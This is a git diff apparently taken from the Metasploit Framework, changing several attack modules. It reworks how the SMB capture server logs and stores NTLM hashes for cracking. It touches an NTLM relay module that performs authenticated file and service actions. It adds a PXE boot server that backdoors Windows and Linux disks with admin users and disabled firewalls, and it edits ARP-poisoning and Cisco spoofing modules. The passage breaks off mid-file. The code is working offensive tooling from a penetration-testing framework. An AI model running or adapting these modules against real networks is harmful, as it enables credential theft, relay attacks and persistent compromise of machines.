[lm_cli_challenge].pack("H*"), + :user => Rex::Text::to_ascii(smb[:username]), + :domain => Rex::Text::to_ascii(smb[:domain]), + :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, + :type => 'lm' + } + ) + lm_hash_message = "Disabled (from empty password)" + lm_chall_message = 'Disabled' + else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end - - # Display messages - if esn - smb[:username] = Rex::Text::to_ascii(smb[:username]) - smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain] - end - - capturedtime = Time.now.to_s - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE - smb_db_type_hash = "smb_netv1_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} \nNTHASH:#{nt_hash ? nt_hash : ""}\n" - when NTLM_CONST::NTLM_V2_RESPONSE - smb_db_type_hash = "smb_netv2_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} " + - "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}\n" + - "NTHASH:#{nt_hash ? nt_hash : ""} " + - "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}\n" - when NTLM_CONST::NTLM_2_SESSION_RESPONSE - #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr - #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture - smb_db_type_hash = "smb_netv1_hash" - capturelogmessage = - "SMB Captured - #{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]} \n" + - "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" + - "NTHASH:#{nt_hash ? nt_hash : ""}\n" + - "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} \n" - - else # should not happen + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + if NTLM_CRYPT::is_hash_from_empty_pwd?( + { + :hash => [nt_hash].pack("H*"), + :srv_challenge => @challenge, + :cli_challenge => [lm_hash].pack("H*")[0,8], + :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, + :type => 'ntlm' + } + ) + print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}") return end + lm_hash_message = lm_hash + lm_chall_message = lm_cli_challenge + end - print_status(capturelogmessage) - lm_text = (lm_hash + lm_cli_challenge.to_s).empty? ? "00" * 24 : lm_hash + lm_cli_challenge.to_s - nt_text = (nt_hash + nt_cli_challenge.to_s).empty? ? "00" * 24 : nt_hash + nt_cli_challenge.to_s - pass = "#{smb[:domain]}:#{lm_text}:#{nt_text}:#{datastore['CHALLENGE'].to_s}" + # Display messages + if esn + smb[:username] = Rex::Text::to_ascii(smb[:username]) + smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain] + end - # DB reporting - report_auth_info( - :host => smb[:ip], - :port => datastore['SRVPORT'], - :sname => 'smb_challenge', - :user => smb[:username], - :pass => pass, - :type => smb_db_type_hash, - :proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}", - :source_type => "captured", - :active => true - ) + capturedtime = Time.now.to_s + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "LMHASH:#{lm_hash_message ? lm_hash_message : ""}", + "NTHASH:#{nt_hash ? nt_hash : ""}", + ].join("\n") + when NTLM_CONST::NTLM_V2_RESPONSE + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "LMHASH:#{lm_hash_message ? lm_hash_message : ""} ", + "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : ""}", + "NTHASH:#{nt_hash ? nt_hash : ""} ", + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : ""}", + ].join("\n") + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + # we can consider those as netv1 has they have the same size and are + # cracked the same way by cain/jtr also 'real' netv1 is almost never + # seen nowadays except with smbmount or msf server capture + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "NTHASH:#{nt_hash ? nt_hash : ""}", + "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : ""} ", + ].join("\n") + else # should not happen + return + end - report_note( - :host => smb[:ip], - :type => "smb_peer_os", - :data => smb[:peer_os] - ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0) + print_status(capturelogmessage) - report_note( - :host => smb[:ip], - :type => "smb_peer_lm", - :data => smb[:peer_lm] - ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_peer_os", + :data => smb[:peer_os] + ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0) - report_note( - :host => smb[:ip], - :type => "smb_domain", - :data => smb[:domain] - ) if (smb[:domain] and smb[:domain].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_peer_lm", + :data => smb[:peer_lm] + ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_domain", + :data => smb[:domain] + ) if (smb[:domain] and smb[:domain].strip.length > 0) - #if(datastore['LOGFILE']) - # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} - #end + return unless smb[:username] - if(datastore['CAINPWFILE'] and smb[:username]) - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['CAINPWFILE'], "ab") + if datastore['CAINPWFILE'] and smb[:username] + if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE + File.open(datastore['CAINPWFILE'], "ab") do |fd| fd.puts( [ smb[:username], @@ -572,84 +578,79 @@ class Metasploit3 < Msf::Auxiliary nt_hash.empty? ? "0" * 48 : nt_hash ].join(":").gsub(/\n/, "\\n") ) - fd.close end end - - if(datastore['JOHNPWFILE'] and smb[:username]) - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE - - fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - lm_hash.empty? ? "0" * 48 : lm_hash, - nt_hash.empty? ? "0" * 48 : nt_hash, - @challenge.unpack("H*")[0] - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - when NTLM_CONST::NTLM_V2_RESPONSE - #lmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - @challenge.unpack("H*")[0], - lm_hash.empty? ? "0" * 32 : lm_hash, - lm_cli_challenge.empty? ? "0" * 16 : lm_cli_challenge - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - #ntlmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - @challenge.unpack("H*")[0], - nt_hash.empty? ? "0" * 32 : nt_hash, - nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - end - - end end - end - def smb_cmd_close(c, buff) - end + return if @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash + @previous_lm_hash = lm_hash + @previous_ntlm_hash = nt_hash - def smb_cmd_create(c, buff) - end + creds = [] - def smb_cmd_delete(c, buff) - end + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + lm_hash.empty? ? "0" * 48 : lm_hash, + nt_hash.empty? ? "0" * 48 : nt_hash, + @challenge.unpack("H*")[0] + ].join(":").strip - def smb_cmd_nttrans(c, buff) - end + creds.push(jtr_format: 'netntlm', private_data: jtr_hash) - def smb_cmd_open(c, buff) - end + when NTLM_CONST::NTLM_V2_RESPONSE + # don't bother recording if LMv2 is disabled + unless lm_hash == '0'*32 + # lmv2 + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + @challenge.unpack("H*")[0], + lm_hash, + lm_cli_challenge + ].join(":").strip - def smb_cmd_read(c, buff) - end + creds.push(jtr_format: 'netlmv2', private_data: jtr_hash) + end - def smb_cmd_trans(c, buff) - end + # NTLMv2 + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + @challenge.unpack("H*")[0], + nt_hash.empty? ? "0" * 32 : nt_hash, + nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge + ].join(":").strip - def smb_cmd_tree_connect(c, buff) - end + creds.push(jtr_format: 'netntlmv2', private_data: jtr_hash) - def smb_cmd_tree_disconnect(c, buff) - end + end + + # TODO we probably need a new Origin::Capture for this + @origin ||= create_credential_origin_import(filename: 'msfconsole') + + creds.each do |cred| + create_credential( + origin: @origin, + address: smb[:ip], + service_name: 'smb', + port: datastore['SRVPORT'], + private_data: cred[:private_data], + private_type: :nonreplayable_hash, + jtr_format: cred[:jtr_format], + username: smb[:username], + module_fullname: self.fullname, + workspace_id: myworkspace_id, + ) + if datastore['JOHNPWFILE'] + File.open(datastore['JOHNPWFILE'] + '_' + cred[:jtr_format] , "ab") do |fd| + fd.puts(cred[:private_data]) + end + end + end - def smb_cmd_write(c, buff) end end diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index 00513ca20d..285232a1fa 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -144,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary cli.send_response(resp) end - #The call to handle_relay should be a victim HTTP type 1 request + # The call to handle_relay should be a victim HTTP type 1 request def handle_relay(cli_sock, hash) print_status("Beginning NTLM Relay...") message = Rex::Text.decode_base64(hash) - #get type of message, which will be HTTP, SMB, ... + # get type of message, which will be HTTP, SMB, ... protocol = datastore['RTYPE'].split('_')[0] if(message[8,1] != "\x03") - #Relay NTLMSSP_NETOTIATE from client to server (type 1) + # Relay NTLMSSP_NETOTIATE from client to server (type 1) case protocol when 'HTTP' resp, ser_sock = http_relay_toserver(hash) @@ -166,10 +166,10 @@ class Metasploit3 < Msf::Auxiliary when 'SMB' t2hash, ser_sock = smb_relay_toservert1(hash) end - #goes along with above, resp is now just the hash + # goes along with above, resp is now just the hash client_respheader = "NTLM " << t2hash - #Relay NTLMSSP_CHALLENGE from server to client (type 2) + # Relay NTLMSSP_CHALLENGE from server to client (type 2) response = create_response(401, "Unauthorized") response.headers['WWW-Authenticate'] = client_respheader response.headers['Proxy-Support'] = 'Session-Based-Authentication' @@ -179,7 +179,7 @@ class Metasploit3 < Msf::Auxiliary cli_sock.send_response(response) - #Get the type 3 hash from the client and relay to the server + # Get the type 3 hash from the client and relay to the server cli_type3Data = cli_sock.get_once(-1, 5) begin cli_type3Header = cli_type3Data.split(/\r\nAuthorization:\s+NTLM\s+/,2)[1] @@ -194,7 +194,7 @@ class Metasploit3 < Msf::Auxiliary resp, ser_sock = http_relay_toserver(cli_type3Hash, ser_sock) when 'SMB' ser_sock = smb_relay_toservert3(cli_type3Hash, ser_sock) - #perform authenticated action + # perform authenticated action action = datastore['RTYPE'].split('_')[1] case action when 'GET' @@ -213,7 +213,7 @@ class Metasploit3 < Msf::Auxiliary end report_info(resp, cli_type3Hash) - #close the client socket + # close the client socket response = set_cli_200resp() cli_sock.send_response(response) cli_sock.close() @@ -272,12 +272,12 @@ class Metasploit3 < Msf::Auxiliary # HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc if datastore['HTTP_HEADERFILE'] != nil print_status("Including extra headers from: #{datastore['HTTP_HEADERFILE']}") - #previous request might create the file, so error thrown at runtime + # previous request might create the file, so error thrown at runtime if not ::File.readable?(datastore['HTTP_HEADERFILE']) print_error("HTTP_HEADERFILE unreadable, aborting") raise ArgumentError end - #read file line by line to deal with any dos/unix ending ambiguity + # read file line by line to deal with any dos/unix ending ambiguity File.readlines(datastore['HTTP_HEADERFILE']).each do|header| next if header.strip == '' theaders << (header) << "\r\n" @@ -290,7 +290,7 @@ class Metasploit3 < Msf::Auxiliary 'version' => '1.1', } if (@finalputdata != nil) - #we need to get rid of an extra "\r\n" + # we need to get rid of an extra "\r\n" theaders = theaders[0..-3] opts['data'] = @finalputdata << "\r\n\r\n" end @@ -304,7 +304,7 @@ class Metasploit3 < Msf::Auxiliary # Type3 processing if type3 - #check if auth was successful + # check if auth was successful if resp.code == 401 print_error("Auth not successful, returned a 401") else @@ -315,7 +315,7 @@ class Metasploit3 < Msf::Auxiliary return [resp, ser_sock] end - #relay ntlm type1 message for SMB + # relay ntlm type1 message for SMB def smb_relay_toservert1(hash) rsock = Rex::Socket::Tcp.create( 'PeerHost' => datastore['RHOST'], @@ -343,7 +343,7 @@ class Metasploit3 < Msf::Auxiliary resp = ser_sock.client.session_setup_with_ntlmssp_blob(blob, false) resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) - #Save the user_ID for future requests + # Save the user_ID for future requests ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID'] begin @@ -359,12 +359,12 @@ class Metasploit3 < Msf::Auxiliary return [ntlmsspencodedblob, ser_sock] end - #relay ntlm type3 SMB message + # relay ntlm type3 SMB message def smb_relay_toservert3(hash, ser_sock) - #arg = get_hash_info(hash) + # arg = get_hash_info(hash) dhash = Rex::Text.decode_base64(hash) - #Create a GSS blob for ntlmssp type 3 message, encoding the passed hash + # Create a GSS blob for ntlmssp type 3 message, encoding the passed hash blob = "\xa1" + Rex::Proto::NTLM::Utils.asn1encode( "\x30" + Rex::Proto::NTLM::Utils.asn1encode( @@ -383,7 +383,7 @@ class Metasploit3 < Msf::Auxiliary ) resp = ser_sock.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true) - #check if auth was successful + # check if auth was successful if (resp['Payload']['SMB'].v['ErrorClass'] == 0) print_status("SMB auth relay succeeded") else @@ -396,7 +396,7 @@ class Metasploit3 < Msf::Auxiliary return ser_sock end - #gets a specified file from the drive + # gets a specified file from the drive def smb_get(ser_sock) share, path = datastore['RURIPATH'].split('\\', 2) path = path @@ -411,7 +411,7 @@ class Metasploit3 < Msf::Auxiliary return resp["Payload"].v["Payload"] end - #puts a specified file + # puts a specified file def smb_put(ser_sock) share, path = datastore['RURIPATH'].split('\\', 2) path = path @@ -426,7 +426,7 @@ class Metasploit3 < Msf::Auxiliary return logdata end - #deletes a file from a share + # deletes a file from a share def smb_rm(ser_sock) share, path = datastore['RURIPATH'].split('\\', 2) path = path @@ -437,8 +437,8 @@ class Metasploit3 < Msf::Auxiliary return logdata end - #smb share enumerator, overly simplified, just tries connecting to configured shares - #This could be improved by using techniques from SMB_ENUMSHARES + # smb share enumerator, overly simplified, just tries connecting to configured shares + # This could be improved by using techniques from SMB_ENUMSHARES def smb_enum(ser_sock) shares = [] datastore["SMB_SHARES"].split(",").each do |share_name| @@ -453,7 +453,7 @@ class Metasploit3 < Msf::Auxiliary return shares end - #smb list directory + # smb list directory def smb_ls(ser_sock) share, path = datastore['RURIPATH'].split('\\', 2) ser_sock.client.tree_connect(share) @@ -469,11 +469,11 @@ class Metasploit3 < Msf::Auxiliary return files end - #start a service. This methos copies a lot of logic/code from psexec (and smb_relay) + # start a service. This methos copies a lot of logic/code from psexec (and smb_relay) def smb_pwn(ser_sock, cli_sock) - #filename is a little finicky, it needs to be in a format like - #"%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe + # filename is a little finicky, it needs to be in a format like + # "%SystemRoot%\\system32\\calc.exe" or "\\\\host\\c$\\WINDOWS\\system32\\calc.exe filename = datastore['RURIPATH'] ser_sock.connect("IPC$") @@ -593,12 +593,12 @@ class Metasploit3 < Msf::Auxiliary ser_sock.disconnect("IPC$") end - #print status, and add to the info database + # print status, and add to the info database def report_info(resp, type3_hash) data = get_hash_info(type3_hash) - #no need to generically always grab everything, but grab common config options - #and the response, some may be set to nil and that's fine + # no need to generically always grab everything, but grab common config options + # and the response, some may be set to nil and that's fine data[:protocol] = datastore['RTYPE'] data[:RHOST] = datastore['RHOST'] data[:RPORT] = datastore['RPORT'] @@ -614,9 +614,9 @@ class Metasploit3 < Msf::Auxiliary ) end - #mostly taken from http_ntlm module handle_auth function + # mostly taken from http_ntlm module handle_auth function def get_hash_info(type3_hash) - #authorization string is base64 encoded message + # authorization string is base64 encoded message domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash) nt_len = ntlm_hash.length @@ -629,8 +629,8 @@ class Metasploit3 < Msf::Auxiliary if arg[:lm_hash][16,32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end - #if the length of the ntlm response is not 24 then it will be bigger and represent - #a ntlmv2 response + # if the length of the ntlm response is not 24 then it will be bigger and represent + # a ntlmv2 response elsif nt_len > 48 #lmv2/ntlmv2 arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :lm_hash => lm_hash[0, 32], @@ -651,7 +651,7 @@ class Metasploit3 < Msf::Auxiliary return arg end - #function allowing some basic/common configuration in responses + # function allowing some basic/common configuration in responses def set_cli_200resp() response = create_response(200, "OK") response.headers['Proxy-Support'] = 'Session-Based-Authentication' @@ -663,7 +663,7 @@ class Metasploit3 < Msf::Auxiliary respfile.close type = datastore['RESPPAGE'].split('.')[-1].downcase - #images can be especially useful (e.g. in email signatures) + # images can be especially useful (e.g. in email signatures) case type when 'png', 'gif', 'jpg', 'jpeg' print_status('setting content type to image') diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb index e0a93263cd..f316d4100d 100644 --- a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb +++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Auxiliary 'Riku', # Vulnerability discovery 'Antti', # Vulnerability discovery 'Matti', # Vulnerability discovery - 'hdm' # MSF module + 'hdm' # Metasploit module ], 'License' => MSF_LICENSE, 'Actions' => [['Capture']], diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb new file mode 100644 index 0000000000..a2a7815f82 --- /dev/null +++ b/modules/auxiliary/server/pxeexploit.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/tftp' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::TFTPServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'PXE Boot Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing a payload to install metsvc, disable the + firewall, and add a new user metasploit on any Windows partition seen, + and add a uid 0 user with username and password metasploit to any linux + partition seen. The windows user will have the password p@SSw0rd!123456 + (in case of complexity requirements) and will be added to the administrators + group. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } + ) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def run + print_status("Starting TFTP server...") + @tftp = Rex::Proto::TFTP::Server.new + @tftp.set_tftproot(datastore['TFTPROOT']) + @tftp.start + add_socket(@tftp.sock) + + print_status("Starting DHCP server...") + @dhcp = Rex::Proto::DHCP::Server.new( datastore ) + @dhcp.report do |mac, ip| + print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(ip)})") + report_note( + :type => 'PXE.client', + :data => mac.unpack('H2H2H2H2H2H2').join(':') + ) + end + @dhcp.start + add_socket(@dhcp.sock) + + # Wait for finish.. + @tftp.thread.join + @dhcp.thread.join + + end + +end diff --git a/modules/auxiliary/server/pxexploit.rb b/modules/auxiliary/server/pxexploit.rb index 86db0e5c4c..d7b4f60206 100644 --- a/modules/auxiliary/server/pxexploit.rb +++ b/modules/auxiliary/server/pxexploit.rb @@ -11,6 +11,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 4, 11), 'auxiliary/server/pxeexploit') def initialize super( @@ -38,12 +41,17 @@ class Metasploit3 < Msf::Auxiliary [ 'Service' ], - 'DefaultAction' => 'Service' + 'DefaultAction' => 'Service', + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } ) register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), @@ -52,12 +60,6 @@ class Metasploit3 < Msf::Auxiliary end def run - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end - datastore['FILENAME'] = "update1" - datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! - print_status("Starting TFTP server...") @tftp = Rex::Proto::TFTP::Server.new @tftp.set_tftproot(datastore['TFTPROOT']) diff --git a/modules/auxiliary/server/socks_unc.rb b/modules/auxiliary/server/socks_unc.rb index da8cbb12a4..547253c0b9 100644 --- a/modules/auxiliary/server/socks_unc.rb +++ b/modules/auxiliary/server/socks_unc.rb @@ -47,16 +47,16 @@ class Metasploit3 < Msf::Auxiliary end def on_client_connect(client) -# print_status("New connection from #{client.peerhost}:#{client.peerport}") + #print_status("New connection from #{client.peerhost}:#{client.peerport}") end def on_client_data(client) -# print_status("Data from #{client.peerhost}:#{client.peerport}") + #print_status("Data from #{client.peerhost}:#{client.peerport}") process_socks(client) end def on_client_close(client) -# print_status("Closed connection from #{client.peerhost}:#{client.peerport}") + #print_status("Closed connection from #{client.peerhost}:#{client.peerport}") end def run diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 0cc60e78a5..c8d1ec5ee8 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service. }, 'Author' => 'amaloteaux', # msf rewrite - #tons of people .... + #tons of people 'License' => MSF_LICENSE, 'References' => [ @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary begin @interface = datastore['INTERFACE'] || Pcap.lookupdev - #This is needed on windows cause we send interface directly to Pcap functions + # This is needed on windows cause we send interface directly to Pcap functions @interface = get_interface_guid(@interface) @smac = datastore['SMAC'] @smac ||= get_mac(@interface) if @netifaces @@ -103,7 +103,6 @@ class Metasploit3 < Msf::Auxiliary if datastore['LISTENER'] @listener.kill if @listener - GC.start() end if capture and @spoofing and not datastore['BROADCAST'] @@ -172,7 +171,7 @@ class Metasploit3 < Msf::Auxiliary @dhosts = [] dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end} - #Build the local dest hosts cache + # Build the local dest hosts cache print_status("Building the destination hosts cache...") @dhosts.each do |dhost| vprint_status("Sending arp packet to #{dhost}") @@ -181,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary inject(probe) while(reply = getreply()) next if not reply.is_arp? - #Without this check any arp request would be added to the cache + # Without this check any arp request would be added to the cache if @dhosts.include? reply.arp_saddr_ip print_status("#{reply.arp_saddr_ip} appears to be up.") report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac) @@ -190,7 +189,7 @@ class Metasploit3 < Msf::Auxiliary end end - #Wait some few seconds for last packets + # Wait some few seconds for last packets etime = Time.now.to_f + datastore['TIMEOUT'] while (Time.now.to_f < etime) while(reply = getreply()) @@ -205,7 +204,7 @@ class Metasploit3 < Msf::Auxiliary end raise RuntimeError, "No hosts found" unless @dsthosts_cache.length > 0 - #Build the local src hosts cache + # Build the local src hosts cache if datastore['BIDIRECTIONAL'] print_status("Building the source hosts cache for unknow source hosts...") @shosts.each do |shost| @@ -227,7 +226,7 @@ class Metasploit3 < Msf::Auxiliary end end - #Wait some few seconds for last packets + # Wait some few seconds for last packets etime = Time.now.to_f + datastore['TIMEOUT'] while (Time.now.to_f < etime) while(reply = getreply()) @@ -247,11 +246,11 @@ class Metasploit3 < Msf::Auxiliary @mutex_cache = Mutex.new end - #Start the listener + # Start the listener if datastore['LISTENER'] start_listener(@dsthosts_cache, @srchosts_cache) end - #Do the job until user interupt it + # Do the job until user interupt it print_status("ARP poisoning in progress...") @spoofing = true while(true) @@ -361,7 +360,7 @@ class Metasploit3 < Msf::Auxiliary args[:localip] = @sip.dup @listener = Thread.new(args) do |args| begin - #one more local copy + # one more local copy liste_src_ips = [] if args[:BIDIRECTIONAL] args[:shosts].each_key {|address| liste_src_ips.push address} @@ -380,7 +379,7 @@ class Metasploit3 < Msf::Auxiliary pkt = PacketFu::Packet.parse(pkt_bytes) if pkt.is_arp? if pkt.arp_opcode == 1 - #check if the source ip is in the dest hosts + # check if the source ip is in the dest hosts if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or (args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip) vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}") diff --git a/modules/auxiliary/spoof/cisco/cdp.rb b/modules/auxiliary/spoof/cisco/cdp.rb index 41bc8bb6fd..b320ad39ab 100644 --- a/modules/auxiliary/spoof/cisco/cdp.rb +++ b/modules/auxiliary/spoof/cisco/cdp.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]), OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]), # XXX: this is not currently implemented - # OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]), + #OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]), OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]), OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]), OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true]) diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index 1dc7c4f231..99635b7b88 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -43,11 +43,11 @@ class Metasploit3 < Msf::Auxiliary p.eth_daddr = '01:00:0c:cc:cc:cc' p.eth_saddr = smac llc_hdr = "\xaa\xaa\x03\x00\x00\x0c\x20\x04" - dtp_hdr = "\x01" # version - dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain - dtp_hdr << "\x00\x02\x00\x05\x03" # status - 